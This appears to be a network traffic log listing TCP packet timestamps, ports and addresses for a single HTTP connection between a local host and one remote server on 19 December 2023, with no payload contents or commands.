Dec 19, 2023 05:18:20.797178984 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:20.797220945 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:20.797272921 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:20.797540903 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:20.797586918 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:20.797879934 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:20.797924042 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:20.797964096 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:20.798005104 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:20.798263073 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:20.798307896 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:20.798472881 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:20.798517942 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:20.798857927 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:20.798908949 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:20.798934937 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:20.798976898 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:20.798993111 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:20.799032927 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:20.799128056 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:20.799171925 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:20.799199104 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:20.799251080 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:20.799447060 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:20.799487114 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:20.799488068 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:20.799532890 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:20.799783945 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:20.799825907 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:20.800065041 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:20.800105095 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:20.800545931 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:20.800585985 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:20.800597906 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:20.800632000 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:20.800724030 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:20.800760984 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:20.801049948 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:20.801091909 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:20.801297903 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:20.801338911 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:20.801630974 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:20.801681995 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:20.801876068 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:20.801920891 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:20.802246094 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:20.802289963 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:20.802701950 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:20.802747011 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:20.802767038 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:20.802809954 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:20.827332020 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:20.827379942 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.048012018 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.048136950 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.058880091 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.058944941 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.076920033 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.076961040 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.076987982 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.077008009 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.077760935 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.077821016 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.078043938 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.078102112 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.078288078 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.078352928 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.078784943 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.078795910 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.078840971 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.078921080 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.078963041 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.079221010 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.079265118 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.079451084 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.079462051 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.079504967 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.079592943 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.079642057 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.080015898 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.080065012 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.080143929 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.080188036 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.080358982 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.080405951 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.080595970 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.080648899 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.080727100 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.080775023 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.081064939 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.081118107 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.081445932 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.081495047 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.081551075 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.081593037 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.081676006 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.081721067 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.081902981 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.081947088 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.082114935 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.082154989 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.082545042 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.082614899 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.082628965 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.082672119 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.082983971 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.083030939 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.083280087 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.083323002 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.083389044 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.083432913 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.083508968 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.083551884 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.083970070 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.084037066 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.084189892 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.084233046 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.084332943 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.084377050 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.084760904 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.084836960 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.084856987 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.084901094 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.085235119 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.085289955 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.085479021 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.085520983 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.085556984 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.085601091 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.109128952 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.109258890 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.151498079 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.151621103 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.331393003 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.331460953 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.340876102 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.340945005 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.361489058 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.361543894 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.361766100 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.361820936 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.362020969 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.362062931 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.362557888 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.362570047 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.362612009 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.362637043 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.362874985 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.362962961 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.362997055 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.363014936 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.363317966 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.363363028 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.363379955 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.363424063 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.363579035 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.363624096 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.363770962 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.363816977 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.363909006 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.363955021 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.364346981 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.364402056 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.364631891 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.364677906 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.364834070 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.364873886 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.365040064 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.365086079 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.365192890 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.365235090 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.365622997 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.365667105 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.365717888 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.365761042 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.365941048 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.365988970 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.366067886 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.366111994 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.366373062 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.366415977 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.366540909 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.366580009 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.366700888 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.366741896 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.366801023 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.366839886 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.367374897 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.367433071 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.367840052 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.367882967 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.368015051 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.368072987 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.368253946 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.368299961 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.368354082 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.368396044 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.368793011 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.368839979 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.369201899 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.369263887 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.369602919 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.369657040 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.369679928 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.369724989 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.370100975 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.370150089 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.370215893 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.370256901 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.370419025 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.370479107 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.370671988 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.370722055 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.391360044 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.391417027 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.475599051 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.475671053 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.614156961 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.614305973 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.623111010 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.623177052 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.643578053 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.643641949 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.643697977 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.643711090 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.643748999 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.643764973 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.644429922 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.644476891 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.644634008 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.644673109 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.644885063 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.644925117 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.645308018 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.645344019 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.645353079 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.645382881 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.646091938 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.646135092 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.646142960 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.646155119 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.646182060 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.646208048 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.647028923 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.647062063 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.647074938 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.647097111 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.647110939 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.647155046 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.648190975 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.648267984 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.648350954 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.648396015 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.648468971 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.648508072 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.649293900 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.649337053 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.649646997 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.649693012 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.649912119 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.649950981 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.650129080 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.650176048 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.650216103 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.650254011 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.650422096 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.650460958 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.650779009 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.650825977 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.651221991 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.651264906 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.651386976 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.651427984 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.651498079 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.651542902 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.651689053 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.651743889 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.652260065 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.652317047 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.652364969 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.652410984 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.652563095 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.652611017 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.653328896 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.653377056 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.673754930 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.673846006 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.801372051 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.801477909 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.896730900 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.896811962 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.905415058 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.905477047 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.925926924 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.925987005 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.926014900 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.926074982 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.926599979 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.926649094 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.926723003 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.926769018 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.927571058 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.927622080 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.927730083 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.927779913 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.928009987 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.928055048 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.928129911 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.928168058 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.928304911 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.928350925 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.928577900 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.928622007 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.928961039 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.929003000 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.929287910 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.929331064 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.929418087 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.929455042 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.929641008 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.929686069 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.930310011 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.930356026 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.930680990 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.930732012 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.930891991 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.930942059 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.931176901 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.931216955 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.931293011 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.931380987 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.931431055 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.931827068 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.931863070 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.931886911 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.931915998 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.932113886 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.932166100 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:18:21.932579994 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:18:21.932634115 CET	49712	80	192.168.2.6	213.248.43.40
